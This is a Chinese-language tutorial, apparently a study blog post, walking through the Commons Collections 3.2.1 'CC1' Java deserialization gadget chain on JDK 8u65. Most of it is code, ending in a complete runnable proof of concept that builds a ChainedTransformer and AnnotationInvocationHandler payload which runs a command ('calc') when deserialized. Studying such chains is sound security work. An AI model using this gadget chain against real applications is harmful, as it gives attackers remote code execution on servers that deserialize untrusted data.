什么是CC链
CC(Common Collections)是Java中常用的集合框架之一,它提供了一组常见的容器类,如ArrayList、HashMap等。然而,CC链(CC chain)是指利用Common Collections框架中的漏洞来构建的一种攻击链。
CC1
https://www.bilibili.com/video/BV1no4y1U7E1?t=690.4
java版本:8u65
既然都是cc链了,肯定要有cc依赖,cc版本是3.2.1
依赖:
1 2 3 4 5 6 7 8
| <dependencies> <!-- https: <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
分析
起点:CC下的Transformer。
快捷键
我们使用ctrl
+ alt
+ b
查看实现的类。
其中我们要用的是InvokerTransformer中的transform。
能注意到有任意代码执行的反射调用。
但在此之前我们要知道,任意命令执行,我们应该在哪里执行命令:
1
| Runtime.getRuntime().exec("calc");
|
有了这个,我们再改成反射调用的格式。
注意:打出Runtime.getRuntime();
点击alt
+enter
就可以自动补全。
改成普通反射的写法:
1 2 3 4 5
| Runtime runtime = Runtime.getRuntime(); Class aClass = runtime.getClass(); Method exec = aClass.getMethod("exec", String.class); exec.invoke(runtime, "calc");
|
然后按照InvokerTransformer实例化和transform执行的所需参数填入内容(重新实现这个反射):
1 2 3
| Runtime runtime = Runtime.getRuntime(); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
|
然后我们需要找到如何才能调用这里,快捷键ctrl
+ shift
+ alt
+ F7
查询方法
通过这种方式来找到所需要的上一个方法。
最后找到TransformedMap中的decorate方法来赋值。
想实现这个函数,查看其实例化方法。
并有其赋值decorate方法:
就是说要让其中的valueTransformer是执行的transfrom的InvokerTransformer。
于是可以编写出代码:
1 2 3 4 5
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
|
这样写就可以调用transform方法。
然后再找如何能调用checkSetValue方法,查找之后发现只有一处AbstractInputCheckedMapDecorator:
可以发现这个类是TransformedMap类的父类,其中的MapEntry的setValue调用了这个方法。
而遍历Map的一种写法是:
1 2 3
| for (Map.Entry entry : objectObjectHashMap.entrySet()) { entry.setValue(); }
|
这样就能调用到其中的setValue方法。
其中setValue中传入runtime参数即可运行。
然后就是继续找,如果有readObject下的调用就直接使用。
找到AnnotationInvocationHandler的readObject方法下setValue方法。
但由于实例化方法不是public,因此只能在包内调用,也就是说只能用反射来调用。
1 2 3 4 5 6 7 8
| Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object object = declaredConstructor.newInstance(Override.class, decorate);
serialize(object); deserialize("ser.bin");
|
最后再加上序列化和反序列化:
1 2 3 4 5 6 7 8 9 10
| public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(object); }
public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object obj = objectInputStream.readObject(); return obj; }
|
但还有问题,第一个是setValue的那个传入值是不可以控制的,第二个则是Runtime是不可以被序列化的。
第一个问题
先解决如何使用Runtime。
虽然,runtime不可以被序列化,但是它的class可以,于是可以写出:
1 2 3 4 5
| Class<Runtime> runtimeClass = Runtime.class; Method getRuntime = runtimeClass.getMethod("getRuntime", null); Runtime runtime = (Runtime) getRuntime.invoke(null, null); Method exec = runtimeClass.getMethod("exec", String.class); exec.invoke(runtime, "calc");
|
然后改成InvokeTransformer的版本:
1 2 3 4
| Method runtimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(runtimeMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
|
可以使用chainedTransformer简化:
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
第二个问题
然后就需要断点调试。
给AnnotationInvocationHandler这里打上断点。看看是否能进去。
我们可以注意到,由于memberType是空我们无法进入:
我们需要找到一个有成员方法的class。key改为名字
这里没有key这个参数,target中有value这个参数。
我们改成value试一试,然后将注释改为target。
再次断点。
但是无法修改最后的value的值,可以使用其中的ConstantTransformer来。
也就是在这里加一个让他在Runtime.class中。
ConstantTransformer被传入什么,transform之后就会返回什么。
最后终于可以成功执行了。QWQ
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| package fun.natro92;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1 { public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(object); }
public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object obj = objectInputStream.readObject(); return obj; }
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("value", "value"); Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object object = declaredConstructor.newInstance(Target.class, decorate);
serialize(object); deserialize("ser.bin"); } }
|